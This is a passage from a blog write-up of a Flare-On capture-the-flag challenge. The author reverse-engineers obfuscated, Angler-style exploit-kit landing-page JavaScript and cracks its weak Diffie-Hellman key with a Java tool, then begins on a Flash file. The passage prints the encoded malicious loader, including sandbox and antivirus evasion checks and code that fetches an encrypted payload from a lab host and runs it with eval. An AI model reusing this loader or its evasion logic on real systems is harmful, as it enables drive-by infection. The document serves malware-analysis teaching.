pICsgNDgpOwogY2FzZSAxOgogYSArPSBJbDFJY1tJbDFJbF0oSWwxSWJbSWwxSXFdKDUgKiBJbDFJYltJbDFJa10oKSkgKyA2NSkKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeGEoKQp7CiB2YXIgYSA9ICcnOwogdmFyIGIgPSBJbDFJWShJbDFJYmJBYSlbSWwxSWJic3NdKChJbDFJYmJzbipJbDFJYmJzaStJbDFJYmJzbyksIChJbDFJYmJzbytJbDFJYmJzbikpOwogdmFyIGMgPSAoSWwxSWJic28rSWwxSWJic24pKklsMUliYnNpOwogZm9yKHZhciBpPTA7aTxjO2krKykKIHsKIGEgKz0gYltJbDFJal0oSWwxSWJbSWwxSXFdKElsMUliW0lsMUlrXSgpICogYltJbDFJbl0pKTsKIH0KIHJldHVybiBhOwp9CgpmdW5jdGlvbiBJbDFJeWEoKQp7CiB2YXIgSWwxSXUgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHRoaXMuTCA9IG5ldyBJbDFJdShJbDFJeGEoKSwgKElsMUliYnNvK0lsMUliYnNuKSk7CiB0aGlzLmljID0gbmV3IElsMUl1KElsMUl4YSgpLCAoSWwxSWJic28qMy1JbDFJYmJzaSkpOwogdGhpcy5oYSA9IG5ldyBJbDFJdShJbDFJdGEoKSwgKElsMUliYnNvKklsMUliYnNpK0lsMUliYnNpKklsMUliYnNpKSk7CiB0aGlzLkpiID0gdGhpcy5MLklsMUlYKHRoaXMuaWMsIHRoaXMuaGEpOwp9CgoKZnVuY3Rpb24gSWwxSXYoYSwgYikgewogYiA9IElsMUliYnNqKGIpOwogZm9yICh2YXIgYyA9IFtdLCBkID0gMCwgZSwgZiA9ICcnLCBnID0gMDsgMjU2ID4gZzsgZysrKSBjW2ddID0gZzsKIGZvciAoZyA9IDA7IDI1NiA+IGc7IGcrKykgZCA9IChkICsgY1tnXSArIGFbSWwxSXBdKGcgJSBhW0lsMUluXSkpICUgMjU2LCBlID0gY1tnXSwgY1tnXSA9IGNbZF0sIGNbZF0gPSBlOwogZm9yICh2YXIgaCA9IGQgPSBnID0gMDsgaCA8IGJbSWwxSW5dOyBoKyspIGcgPSAoZyArIDEpICUgMjU2LCBkID0gKGQgKyBjW2ddKSAlIDI1NiwgZSA9IGNbZ10sIGNbZ10gPSBjW2RdLCBjW2RdID0gZSwgZiArPSBJbDFJY1tJbDFJbF0oYltJbDFJcF0oaCkgXiBjWyhjW2ddICsgY1tkXSkgJSAyNTZdKTsKIHJldHVybiBmCn07CgoKSWwxSXNhID0gZnVuY3Rpb24oKSB7CiB0aGlzLmdXID0gJydbJz5fPCddKCdkJTEzJTA2JTVEJUEyJTlDUSVDOCUxNCVEMSVCQiVGMSU5RSU3RSVBMCVCRiUwRSVBNyU5OGwlRjAlRDMlOTYlMTAlN0JGJUU1JTlFJThFJTFFJUIxJTlFJTE1JUE4JUE3JUQyJThGdiVBQyUzQyVEQislOThKZSVDOSU5QSU5NCcsIDEyLCAxNywgMTU1KTsKIHRoaXMuWXcgPSAnJyBbJ28zbyddKCclQ0ZSJTE4JTAzJUU1JUJGJURFZiU4MCU5Qy4lRkEnLCAxNDAsIDksIDgxKTsKIHRoaXMuZGMgPSAnJyBbJy0sLSddKCclRjVzJTlBZUklOENXJUMxRTRsJUNFJUQyNCUyMSVFMyVGRiU5M3klRDExJUVEJTE1JTAwJTI4NkclRTUlOEUlREFGJywgMTQ4LCA5LCAyMDcpOwogdGhpcy5LSiA9ICcnIFsnT3J6J10oJyVGNyVBRSUyMC8lOEQlOUIlRjYlQTJwTCVEOCVBNCUyNDUnLCAxODAsIDEyOSwgMTMpOwp9CgoKSWwxSXdhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFhKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgYiA9IG9zOwogdmFyIGMgPSBwcmludDsKIGMoYlsnJyBbJz5fPCddKCclMEElRkIlQTAlRDglMjglOUInLCAxMjEsIDksIDY1KV0oJydbJ2xvbCddKCdLJURFJUFDbCcsIDQ2LCA5LCAzMSksIFsnJyBbJy0sLSddKCclOTYlNUUlN0YlMTFYJTVFJTAxJUEyJTlBMyVDOSU5QyUzQW0lQ0NaLyU1QyolN0IvJUZBNSVFOVUlMjglRkQ1JTFDJUM3JUNFJUFBWiVGRSUwMiVBMSVFNyVFOSVFRSU1RDIlOTgnLCAyMjMsIDksIDE2NyldKSk7CiBhID0gIUlsMUliYnN0OwogfSBjYXRjaChtKXthPWZhbHNlO307CiByZXR1cm4gYTsKIH07CgogZnVuY3Rpb24gSWwxSWwxSWwxYigpIHsKIHZhciBhID0gSWwxSWJic3Q7CiB0cnkgewogdmFyIGIgPSB3aW5kb3c7CiBpZiAodHlwZW9mIGIgPT09ICcnWydsb2wnXSgnJTA0JUM2JURGJTdGJTkzVSVGMSVFQiU1RCcsIDExMywgNSwgMTE1KSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeikge307CgogaWYgKCFhKQogewogdHJ5IHsKIHZhciBjID0gcHJvY2VzczsKIGlmICh0eXBlb2YgYyA9PT0gJydbJ09yeiddKCclMEMlN0MlREIlQjklM0MlOEUnLCA5OSwgOSwgMTYzKSAmJiBjICsgJycgPT09ICcnWyctLC0nXSgnJUVBJTAxJTk5MiVFMCVFMSUzQiVDQyUyOSVFNCVDQyVFM0glRDklODRJJywgMTc3LCAxNywgMTczKSkKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCh5KSB7fTsKIH0KIHJldHVybiBhOwogfTsKCiBmdW5jdGlvbiBJbDFJbDFJbDFjKCkgewogdmFyIGEgPSBmYWxzZTsKIHRyeSB7CiB2YXIgZCA9IHdpbmRvdzsKIHZhciBlID0gZFsnJ1snT0dDJ10oJ2QlQ0JJJUREbXVYJTE4JTg3LicsIDExLCA1LCAxMzUpXTsKIHZhciBmID0gZFsnJ1snPl88J10oJyUzQWMlOTMlQUQlQ0IlRjIlQUUlODV6NiVEQicsIDg1LCAxNywgMTEzKV07CiBpZiAoZSA9PT0gMCAmJiBmID09PSAwKSAKIHsKIGEgPSB0cnVlOwogfQogfSBjYXRjaCAoeCkge2EgPSB0cnVlfTsKCiBpZiAoIWEpCiB7CiB0cnkgewogdmFyIGcgPSB3aW5kb3c7CiBhID0gISFnWycnWydsb2wnXSgnZkslRjMlMDglMjklQjYlRjIlRjYlOTklRkQlRUEnLCA1LCAxNywgMjEzKV0KIH0gY2F0Y2ggKHcpIHt9OwogfQogcmV0dXJuIGE7CiB9OwoKIHRoaXMuTWkgPSBJbDFJbDFJbDFhKCk7CiB0aGlzLnBBID0gSWwxSWwxSWwxYigpOwogdGhpcy5DQSA9IElsMUlsMUlsMWMoKTsKfQoKSWwxSXFhID0gZnVuY3Rpb24oKSB7CiBmdW5jdGlvbiBJbDFJbDFJbDFkKGEsYikgewogaWYgKGE8MC4wMDAwMDAwMSkgewogcmV0dXJuIGI7CiB9CiBpZiAoYTxiKSB7CiByZXR1cm4gSWwxSWwxSWwxZChiLUlsMUliW0lsMUlxXShiL2EpKmEsYSk7CiB9CiBlbHNlIGlmIChhPT1iKSB7CiByZXR1cm4gYTsKIH0KIGVsc2UKIHsKIHJldHVybiBJbDFJbDFJbDFkKGIsYSk7CiB9CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWUoYikgewogdmFyIGEgPSBuZXcgQWN0aXZlWE9iamVjdCgnJ1snPl88J10oJ3olODclOEMlODRIJTBEJUIwJUUwYyUyMCU5NyU1QkslREElRjAlRUInLCA1NSwgNywgMTA5KSk7CiBhLmFzeW5jID0gdHJ1ZTsKIGFbJydbJ2xvbCddKCdZJThCJTA4RCVBNTElQkQnLCA1MywgMTEsIDE1NyldKCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAicmVzOi8vJyArIGIgKyAnIj4nKTsKIGlmIChhWycnWydvM28nXSgndSUxMSU3QiVFRiU4OC0lQzMlQTYlM0ElOTInLCA1LCAxMSwgNTcpXVsnJ1snT0dDJ10oJyU1RVQlRTUlOTUlMjElQUQlMDBmJThFJywgNTksIDE5LCAxOTcpXSA9PSAtMjE0NzAyMzA4MykKIHJldHVybiAxOwogcmV0dXJuIDA7CiB9OwoKIGZ1bmN0aW9uIElsMUlsMUlsMWYoKSB7CiB0cnkgewogdmFyIGEgPSBwZXJmb3JtYW5jZS5ub3coKSAvIDEwMDA7CiB9IGNhdGNoIChlKSB7IHJldHVybiAwO30KCiB2YXIgYiA9IHBlcmZvcm1hbmNlLm5vdygpIC8gMTAwMCAtIGE7CiBmb3IgKHZhciBpPTA7aTwxMDtpKyspIHsKIGI9SWwxSWwxSWwxZChiLCBwZXJmb3JtYW5jZS5ub3coKS8xMDAwIC0gYSk7CiB9CgogdmFyIGMgPSBJbDFJYlsnJ1snLSwtJ10oJyU2MCVFMyVBMyUxRSVCRScsIDE4LCA5LCAyMzQpXSgxL2IpOwogaWYgKElsMUliWycnWyctLC0nXSgnYiVEMkgnLCAzLCAyMywgMTA3KV0oYy0xMDAwMDAwMCkgPCAxMDApIHsKIHJldHVybiAxOwogfQogZWxzZSBpZiAoSWwxSWJbJydbJ2xvbCddKCclMEUlMTMlQzgnLCAxMTEsIDM3LCAxMDIpXShjLTM1Nzk1NDUpIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIGVsc2UgaWYgKElsMUliWycnWydPX28nXSgnUiU1QyUyOCcsIDUxLCAxMTksIDEzNyldKGMtMTQzMTgxODApIDwgMTAwKSB7CiByZXR1cm4gMTsKIH0KIAogdHJ5IHsKIHZhciBkID0gc2NyZWVuOwogaWYgKChkWycnWydPR0MnXSgneSVGQUglNURyJywgMTQsIDUsIDc3KV0gPCAoMTM2MjVeMTIzNDUpKSB8fCAoZFsnJ1snPl9PJ10oJyVGQ2YlODNuSCU5QicsIDE0OCwgOSwgMjA3KV0gPCAoNjYyNTZeNjU1MzYpKSkgcmV0dXJuIDE7CiB9IGNhdGNoKHgpIHtyZXR1cm4gMTt9CgogcmV0dXJuIDA7CiB9OwoKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWYoKSA+PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ09HQyddKCclQzUlQkJAJTAwJUZCJTAzbCUwQyUwOSolQTglMUMlMTM2JTk0JTVFJTNCJTAyJUZFJTdCJTI2byVEMWVLJTdCJUQ3JUEzbCU5OCVGOCU4QyU2MCU5MlIlQTQlOEIlQkUnLCAxNjYsIDY1LCA5MSkpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snPl88J10oJ3ElRjMlQUMlRDAlRTdrJTg4JTJDJTdEMiVCNCVBQyVGRiUwRSU5MCVERW8lOEElRDIrJTFBJTg3JUI1RSU5RkMlQUIlQjMlMjAvJUJCJUQzJUJGJUM2JUE1JTE0JTBCJUNCJUJGWiU5OScsIDE4LCAxNywgMTUxKSkgPT0gMSkgcmV0dXJuIDI7CiBpZihJbDFJbDFJbDFlKCcnWydsb2wnXSgnJTFCayUxNjQlRjUlOUIlMEFoJUI3JUVBJUNFJUY4JTlETiVDMiplJUQyJUU4JUFGSCVGNyU5NyVFMTUlNUJRZyUwMiVBMDMlQUMlRkElMUMlMDUlRjYlQ0ZwJUEwVCU5OSVDQScsIDEyMCwgMzMsIDIxNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snbzNvJ10oJyVEMSVEOSU4NCVGNiVFN0EwYiVERCVDOEwlRUElN0YlRjR4JUMwJUNGJUEweiU4RCUxQSVBRCVBREslRkYlMTklRjMlQjUlQTB1JTEzJUFEJUM0KiVEQ2QlMDElQTFHJTE0JUY5JywgMTc4LCA1LCAxMDUpKSA9PSAxKSByZXR1cm4gMjsKIGlmKElsMUlsMUlsMWUoJydbJz5fTyddKCclODAlRjRlcyVFNiUxNCU4MSVCRkxVJUNELyU5RSVBMUlNJUZFTSVEQiU4OCU1QlglRkMlRjYlOEUlQTQycCVFMSVFRiU4MCVCNzYlNUQlRkMlQUElOUMlQTM2JywgMjI3LCAxMjksIDEwNykpID09IDEpIHJldHVybiAxOwogaWYoSWwxSWwxSWwxZSgnJ1snLVEtJ10oJ04lODIlQzclQzElMDAlQkElRjMlMURSJTAzTyU5RCUxOCVGRiU3QiVDRnAlMUIlQjlaJTNENiVFRSU5NHAlOTJwYiUwNyVCRSU5MGIlNUUlREVVJTA1MCVDNycsIDQ1LCA5LCAzNSkpID09IDEpIHJldHVybiAyOwogaWYoSWwxSWwxSWwxZSgnJ1snT3J6J10oJyU5NSVCN1glMEMlRkIlQzclQzQlMThZJUI2JTYwJUMwJUIzJTkyJUFDJUNBJTBCJUNFRiU5N2ZreSU5MSVGQkclREZfTCUzQyU3QiU3QiVCQiUxRCVDQUglMEIlRkEnLCAyNDYsIDMzLCAyMTUpKSA9PSAxKSByZXR1cm4gMTsKIGlmKElsMUlsMUlsMWUoJydbJ15fXiddKCclN0NCaSVCMTIlQ0F1JTVEJUEwY3ElRUQlRUElQ0YlRkQlRUYlRTIlOUIlMTclQ0ElQUYlQTZoJTk0JTIyMm4yVSVBRSUxNkIlQjglQURwNU8qJTgyJUVCJUM0JywgMzEsIDUsIDIyMSkpID09IDEpIHJldHVybiAyOwoKIHJldHVybiAwOwp9CgpJbDFJemEgPSBmdW5jdGlvbigpIHsKIHZhciBhID0gbmV3IElsMUl5YSgpOwogdmFyIGIgPSBJbDFJSWxsMWEsIGMgPSBJbDFJSWxsMWI7CiB2YXIgdyA9IElsMUl2LCB5ID0gSWwxSVosIHogPSBJbDFJWSwgeCA9IG5ldyBJbDFJc2EoKSwgdiA9IG5ldyBJbDFJd2EoKSwgdSA9IElsMUlxYSgpOwogdHJ5IHsKIHZhciBkID0gewogZzogYS5MW0lsMUlvXShJbDFJYmJzaSo4KSwKIEE6IGEuSmJbSWwxSW9dKCgnICdbSWwxSXBdKDApKS9JbDFJYmJzaSksCiBwOiBhLmhhW0lsMUlvXSgoKCcyJ1tJbDFJcF0oMCkpIC0gMikvMyksCiB9OwogZCA9IHkodygnJyBbJycgWydPR0MnXSgnViVFNSUzQycsIDQ5LCA5LCAyMDEpXSgpLCBiW0lsMUliYnNnXShkKSkpOwogdmFyIGUgPSBuZXcgYzsKIGVbSWwxSWJic2JdKElsMUliYnNwLCB4LmdXLCAhSWwxSWJic3QpOwogZVtJbDFJYmJzYV0oeC5Zdyx4LmRjKQogZVtJbDFJYmJzYV0oeC5LSixkW0lsMUluXSk7CiBlW0lsMUliYnNkXSA9IGZ1bmN0aW9uKCkgewogaWYgKGVbSWwxSWJic2VdPT09KElsMUliYnNjW0lsMUluXSkmJmVbSWwxSWJic2ZdPT09KDE1ODMyXjE1NjMyKSkKIHsKIHZhciBkID0gYltJbDFJYmJzaF0odygnJyBbJycgWydsb2wnXSgnJTBBYUgnLCA5OCwgMTcsIDEzNSldKCksIHooSWwxSWJic2ooZVtJbDFJYmJza10pKSkpOwogdmFyIGYgPSBJbDFJbGxsMUkxbC5JbDFJdTsKIHZhciBnID0gbmV3IGYoZC5CLCAxNik7CiB2YXIgaCA9IGcuSWwxSVgoYS5pYywgYS5oYSk7CiB2YXIgaiA9IHcoaC50b1N0cmluZygxNiksIGQuZmZmZmYpOwogaWYgKHUgPCAxKSB7IGV2YWwoaik7fQogfQogfTsKIGlmICghdi5NaSAmJiAhdi5wQSAmJiAhdi5DQSl7CiBlW0lsMUliYnNjXShkKTsKIH0KIH0gY2F0Y2goZikge307Cn0KCmZ1bmN0aW9uIElsMUlsYSgpIHsKIHRyeSB7CiBJbDFJemEoKTsKIH0gY2F0Y2ggKElsMUlOYSkge307Cn07Cgp0cnkgewogSWwxSWxhKCk7Cn0gY2F0Y2gobWVoKSB7fTs=",
b, g, f, e, c, d = 0,
h = '',
x = window['UoqK1Yl'];
do
b = x.indexOf(a.charAt(d++)),
g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
f = b << 18 | g << 12 | e << 6 | c,
b = f >> 16 & 255,
g = f >> 8 & 255,
f &= 255,
h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
while (d < a.length);
return h;
}
</pre>
</br>
The aim here is similar to the previous layer's. Function(a) (line 20) is called to invoke the next layer of javascript; we need to make sure variable <b>'a'</b> contains proper javascript.
</br></br>
The checks are much simpler here and happen between lines 73 - 77. We want <b>window.gFVaUK</b> and <b>window.LAAOEpH</b> to both be false so we can satisfy the condition. The latter depends on lines 54 - 71 where it tries to load Kaspersky as an ActiveXObject and if it doesn't find it, it fails, leaving <b>window.LAAOEpH</b> set to false as we want. The first check succeeds if we run the script in Internet Explorer. Bypass them by modifying the code or just run the page in IE and we get to the third layer.
</br></br>
Layer3 references a few objects from layer2 and hence we need to copy them over. These are lines 2-15 and line 30. Once this is done we can discard layer2 and focus solely on this layer. I'll only be pasting the relevant parts for layer3 as it's over 1000 lines of code. If we run file we notice that it performs an XMLHttpRequest to the following URL:
</br>
<ul>
<li><b style="color:#999999;">http://10.14.56.20:18089/i_knew_you_were_trouble</b></li>
</ul>
and contains a base64 string which changes every time a new request is made. This request is also present in the pcap we started with the following base64 string:
</br></br>
<pre class="brush:plain;">
ErZVpc7xaW3bf0h8ythQz62wRdQlMpg3nTEKPYsyE9OtxAU4fCbwYg8zfbxlTnLb3BpLkcSSeuiskPQoEeyrEdZts9jKxSRiiYlr0Q/PDPhri78Sm4vTsUx/ascx7lt0EEvP5YsvQTjW2QvS1+3dyk7x8c8QlQ==
</pre>
</br>
The goal is to understand how the requests are encrypted and get the original content. The following is the function in layer3 which encrypts the request, performs an XMLHttpRequest and decrypts the response:
</br></br>
<pre class="brush:jscript;">
Il1Iza = function() {
var a = new Il1Iya();
var b = Il1IIll1a, c = Il1IIll1b;
var w = Il1Iv, y = Il1IZ, z = Il1IY, x = new Il1Isa(), v = new Il1Iwa(), u = Il1Iqa();
try {
var d = {
g: a.L[Il1Io](Il1Ibbsi * 8),
A: a.Jb[Il1Io]((' ' [Il1Ip](0)) / Il1Ibbsi),
p: a.ha[Il1Io]((('2' [Il1Ip](0)) - 2) / 3),
};
//base64_encode ( RC4 (flareon_is_so_cute, [request] ) )
d = y(w('' ['' ['OGC']('V%E5%3C', 49, 9, 201)](), b[Il1Ibbsg](d)));
var e = new c;
//initializes XMLHttpRequest('POST','http://10.14.56.20:18089/i_knew_you_were_trouble', true)
e[Il1Ibbsb](Il1Ibbsp, x.gW, !Il1Ibbst);
//sets header to json
e[Il1Ibbsa](x.Yw, x.dc)
//sets content length header
e[Il1Ibbsa](x.KJ, d[Il1In]);
//onreadystatechange handler
e[Il1Ibbsd] = function() {
//if readystate == send.length & status == 200
if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
// RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
var f = Il1Illl1I1l.Il1Iu;
//Diffie-Hellman stuff to get decryption key using B (d.B)
var g = new f(d.B, 16);
var h = g.Il1IX(a.ic, a.ha);
//decrypt contents (d.fffff) using Diffie-Hellman
var j = w(h.toString(16), d.fffff);
if (u < 1) {
//evaluate decrypted contents
eval(j);
}
}
};
if (!v.Mi && !v.pA && !v.CA) {
//send XMLHttpRequest
e[Il1Ibbsc](d);
}
} catch (f) {};
}
</pre>
</br>
On line 13, the request is RC4 encrypted using the key 'flareon_is_so_cute' and the result is base64'd. If we reverse the process we get the contents of our base64 string found in the pcap:
</br>
<pre class="brush:plain;">
{
"g":"91a812d65f3fea132099f2825312edbb",
"A":"16f2c65920ebeae43aabb5c9af923953",
"p":"3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e"
}
</pre>
</br>
For those of you who are malware analysts and have suffered due to Angler's implementation of the Diffie-Hellman to encrypt shellcode delivery, these variables should trigger off all sorts of alarms. The only missing parameter to get hold of the private key is <b>B</b>, which is generated by the server and hence we need to look at the response present in the pcap. We decrypt the response in the same way we did for the request but this time using the key 'how_can_you_not_like_flareon':
</br>
<pre class="brush:plain;">
{
"B":"3101c01f6b522602ae415d5df764587b",
"fffff": "<loads of garbage>"
}
</pre>
</br>
Let's take a small break and check what we've got. We have parameters <b>g</b>, <b>A</b>, <b>p</b>, <b>B</b> and the DH-encrypted payload <b>fffff</b>. Thanks to the research at SecureList, this is all we need to crack the Diffie-Hellman and obtain the private key. The research can be found <a href="https://securelist.com/blog/research/72097/attacking-diffie-hellman-protocol-implementation-in-the-angler-exploit-kit/"><span style="color: #cccccc;">here</span></a>. To make use of the java program at the bottom we need to calculate <b>φ(p)</b> and it's expansion into prime factors:
</br>
<pre style="background: #999999; color: black;">
p = 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e
= 77413500198989862721437805355107761214
=> φ(p) = 38532794441885460791256898927871100000
= 2^5 * 3^4 * 5^5 * 7 * 37 * 61 * 73 * 113 * 389 * 4651 * 20175236914405679
=> q = {32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L }
</pre>
</br>
Wolfram Alpha and CryptoTool can be used to help out with the computations. We now plug in all the constants into the java program:
</br>
<pre class="brush:java;">
import java.math.BigInteger;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.util.TreeMap;
import java.util.Vector;
public class DH_breaker {
static BigInteger p = new BigInteger("3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e", 16);
static BigInteger psi = new BigInteger("38532794441885460791256898927871100000");
static BigInteger g = new BigInteger("91a812d65f3fea132099f2825312edbb", 16).mod(p);
static BigInteger A = new BigInteger("16f2c65920ebeae43aabb5c9af923953", 16);
static BigInteger B = new BigInteger("3101c01f6b522602ae415d5df764587b", 16);
static long[] q = new long[]{32L, 81L, 3125L, 7L, 37L, 61L, 73L, 113L, 389L, 4651L, 20175236914405679L};
static int q_len = q.length;
static HashSet[] xi = new HashSet[q_len];
static BigInteger ai[] = new BigInteger[q_len];
static HashSet res = new HashSet();
static void rec(int ind)
{
if (ind == q_len)
{
BigInteger x = BigInteger.ZERO;
for(int i=0;i<q_len;i++)
{
BigInteger mn = new BigInteger(((Long)q[i]).toString());
BigInteger M = psi.divide(mn);
x = x.add(ai[i].multiply(M).multiply(M.modInverse(mn)));
}
res.add(B.modPow(x.mod(psi), p));
return;
}
Iterator<Long> it = xi[ind].iterator();
while(it.hasNext()){
ai[ind] = new BigInteger(it.next().toString());
rec(ind + 1);
}
}
public static void main(String[] args) {
for(int i=0;i<q_len;i++)
{
xi[i] = new HashSet<Long>();
long qi = q[i];
int H = (int)Math.sqrt((double)qi) + 1;
BigInteger _a = g.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
BigInteger _b = A.modPow(psi.divide(new BigInteger(((Long)qi).toString())), p);
BigInteger _c = _a.modPow(new BigInteger(((Integer)H).toString()), p);
BigInteger _cp = _c;
int u_size = 1000000;
boolean stop = false;
for(int u_part = 1;u_part<=H && !stop;u_part+=u_size)
{
if (H > u_size)
{
System.out.print("[i] Processing ");
System.out.println(u_part);
}
TreeMap<BigInteger, Integer> table = new TreeMap<>();
for(int u=u_part;u<=H && u<u_part + u_size;u++)
{
table.put(_cp, u);
_cp = _cp.multiply(_c).mod(p);
}
BigInteger z = _b;
for(int v=0;v<=H;v++)
{
if (table.get(z) != null)
{
xi[i].add((((long)H)*table.get(z) - v) % qi);
stop = true;
break;
}
z = z.multiply(_a).mod(p);
}
table.clear();
System.gc();
}
System.out.println(xi[i].toString());
}
rec(0);
Iterator<BigInteger> it = res.iterator();
while(it.hasNext()){
System.out.println(it.next().toString(16));
}
}
}
</pre>
</br>
We compile and run it:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>javac DH_breaker.java
Note: DH_breaker.java uses unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.
C:\>java DH_breaker
[3]
[70]
[2958]
[5]
[16]
[12]
[21]
[32]
[132]
[2873]
[i] Processing 1
[i] Processing 1000001
[i] Processing 2000001
[ .. snip .. ]
[i] Processing 94000001
[13449667480594038]
24c9de545f04e923ac5ec3bcfe82711f
C:\>
</div>
</br>
We now have the decryption key: <b>24c9de545f04e923ac5ec3bcfe82711f</b>. The easiest way to apply this and decrypt the response from the pcap is to set Fiddler to autorespond with this request and apply the following alterations to the layer3 javascript:
</br></br>
<pre class="brush:jscript;">
[ .. snip .. ]
//onreadystatechange handler
e[Il1Ibbsd] = function() {
//if readystate == send.length & status == 200
if (e[Il1Ibbse] === (Il1Ibbsc[Il1In]) && e[Il1Ibbsf] === (15832 ^ 15632)) {
// RC4(how_can_you_not_like_flareon, base64_decode ( [response] ))
var d = b[Il1Ibbsh](w('' ['' ['lol']('%0AaH', 98, 17, 135)](), z(Il1Ibbsj(e[Il1Ibbsk]))));
var f = Il1Illl1I1l.Il1Iu;
//Diffie-Hellman stuff to get decryption key using B (d.B)
var g = new f(d.B, 16);
var h = g.Il1IX(a.ic, a.ha);
// The key we obtained earlier
priv_key = "24c9de545f04e923ac5ec3bcfe82711f";
//decrypt contents (d.fffff) using Diffie-Hellman
//var j = w(h.toString(16), d.fffff);
var j = w(priv_key, d.fffff);
//if (u < 1) {
//evaluate decrypted contents
eval(j);
//}
}
};
[ .. snip .. ]
</pre>
</br>
Running the page again we are greeted with 2 message boxes:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6ik6jdNicx88lVeMevX16-p2hBcPagXPoJbFBcfVuAMuS43Sj_-2fCWh6Lg0MhI9ZsSb3zXmspeBoRQx1PUcq0AGhjfrS1pNWD7JU_pk4jdqTL1Eey6LUZBzVbMuDA0slCvFHtpYOZJFi/s1600/end_of_landing_page.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6ik6jdNicx88lVeMevX16-p2hBcPagXPoJbFBcfVuAMuS43Sj_-2fCWh6Lg0MhI9ZsSb3zXmspeBoRQx1PUcq0AGhjfrS1pNWD7JU_pk4jdqTL1Eey6LUZBzVbMuDA0slCvFHtpYOZJFi/s700/end_of_landing_page.png"/></a></div>
</br>
Nice!! We now have the key for the flash file: <b>HEAPISMYHOME</b>
</br></br>
<div>
<h2 style="text-align: left;">
<span style="color: #cccccc;">Part II: The Flash File</span></h2>
</div>
</br>
The flash file expects a key to "keep going":
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhne6SPnSTHrx7PK8-CkzeCWeP7ipAKC1GHksQEjXW8zTSTxRLIU1In_Eph3bHFoHszr57MCAyFG2kLSKCYjx7Ap5HOL8ojHIR69bpWioogxThpNQh72GCMbA2wEKV6Egh9TS5BGwM0gHH9/s1600/flash_1_outer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhne6SPnSTHrx7PK8-CkzeCWeP7ipAKC1GHksQEjXW8zTSTxRLIU1In_Eph3bHFoHszr57MCAyFG2kLSKCYjx7Ap5HOL8ojHIR69bpWioogxThpNQh72GCMbA2wEKV6Egh9TS5BGwM0gHH9/s450/flash_1_outer.png"/></a></div>
</br>
Hitting the <b>Submit</b> button displays a few message boxes that something has been unlocked but nothing else. Let's load it into JPEXS. The button handler basically runs the function d3cryp7AndL0ad() with the supplied key as the parameter. This function is displayed below.
</br></br>
<pre class="brush:as3;">
public function d3cryp7AndL0ad(param1:String) : void
{
var _loc2_:Loader = new Loader();
var _loc3_:LoaderContext = new LoaderContext(false,ApplicationDomain.currentDomain,null);
var _loc4_:Class = Run_challenge1;
//RC4-ish ( binaryData, key )
var _loc5_:ByteArray = pr0udB3lly(ByteArray(new _loc4_()),param1);
var _loc6_:String = "1172ca0ede560b08d97b270400347ede";
if(MD5.hashBytes(_loc5_) == _loc6_)
{
this.loaded = true;
_loc2_.loadBytes(_loc5_);
}
}
</pre>
</br>
This function is pretty straight forward too and the line we're interested in is line 7. The function pr0udB3lly() takes a bytearray and a string, appends the first 16 bytes of the bytearray to the input string, computes the MD5 hash of the concatenation and uses this as the key to RC4-decrypted the rest of the bytearray. The result is another flash file.
</br></br>
Load it into JPEXS and deobfuscate it using the <b>P-code deobfuscation</b> feature. This feature is pretty amazing, when it works that is.
</br></br>
